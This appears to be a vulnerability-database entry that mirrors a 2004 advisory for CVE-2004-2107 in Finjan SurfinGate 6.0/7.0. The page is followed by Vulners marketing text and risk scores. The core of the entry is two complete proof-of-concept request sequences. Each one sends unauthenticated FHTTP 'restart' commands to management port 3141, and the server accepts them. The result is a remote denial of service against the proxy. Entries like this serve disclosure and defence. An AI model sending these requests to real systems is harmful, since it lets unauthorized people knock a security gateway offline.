Finjan SurfinGate 6.0/7.0 - FHTTP Restart Command Execution
| Reporter | Title | Published | Views | Family All 5 |
|---|---|---|---|---|
 | Finjan SurfinGate Proxy FHTTP Command Admin Functions Authentication Bypass | 20 Aug 200400:00 | – | nessus |
| Finjan SurfinGate Proxy FHTTP Command Admin Functions Authentication Bypass | 2 Feb 200400:00 | – | nessus |
 | CVE-2004-2107 | 27 May 200504:00 | – | cve |
 | CVE-2004-2107 | 27 May 200504:00 | – | cvelist |
 | CVE-2004-2107 | 31 Dec 200405:00 | – | nvd |
source: https://www.securityfocus.com/bid/9478/info
Finjan SurfinGate is prone to a vulnerability that may permit remote attackers to execute certain management commands (using the FHTTP protocol) through the management control port (3141/TCP). It has been reported that commands could be issued to restart the server, most likely resulting in a denial of service.
Example 1:
>>> CONNECT LOCALHOST:3141 HTTP/1.0
>>>
<<< HTTP/1.0 200 Connection established
<<< Proxy-agent: Finjan-SurfinGate/6.0
<<<
>>> FINJAN /stam HTTP/1.0
>>> finjan-version: fhttp/1.0
>>> finjan-command: custom
>>> finjan-parameter-category: console
>>> finjan-parameter-type: restart
>>> content-length: 0
>>>
<<< HTTP/1.0 200 OK
<<< finjan-version: fhttp/1.0
<<<
<<<
Example 2:
>>> FINJAN localhost:3141/stam HTTP/1.0
>>> finjan-version: fhttp/1.0
>>> finjan-command: custom
>>> finjan-parameter-category: console
>>> finjan-parameter-type: restart
>>> content-length: 0
>>>
<<< HTTP/1.0 200 OK
<<< finjan-version: fhttp/1.0
<<<
<<<Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
23 Dec 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.07737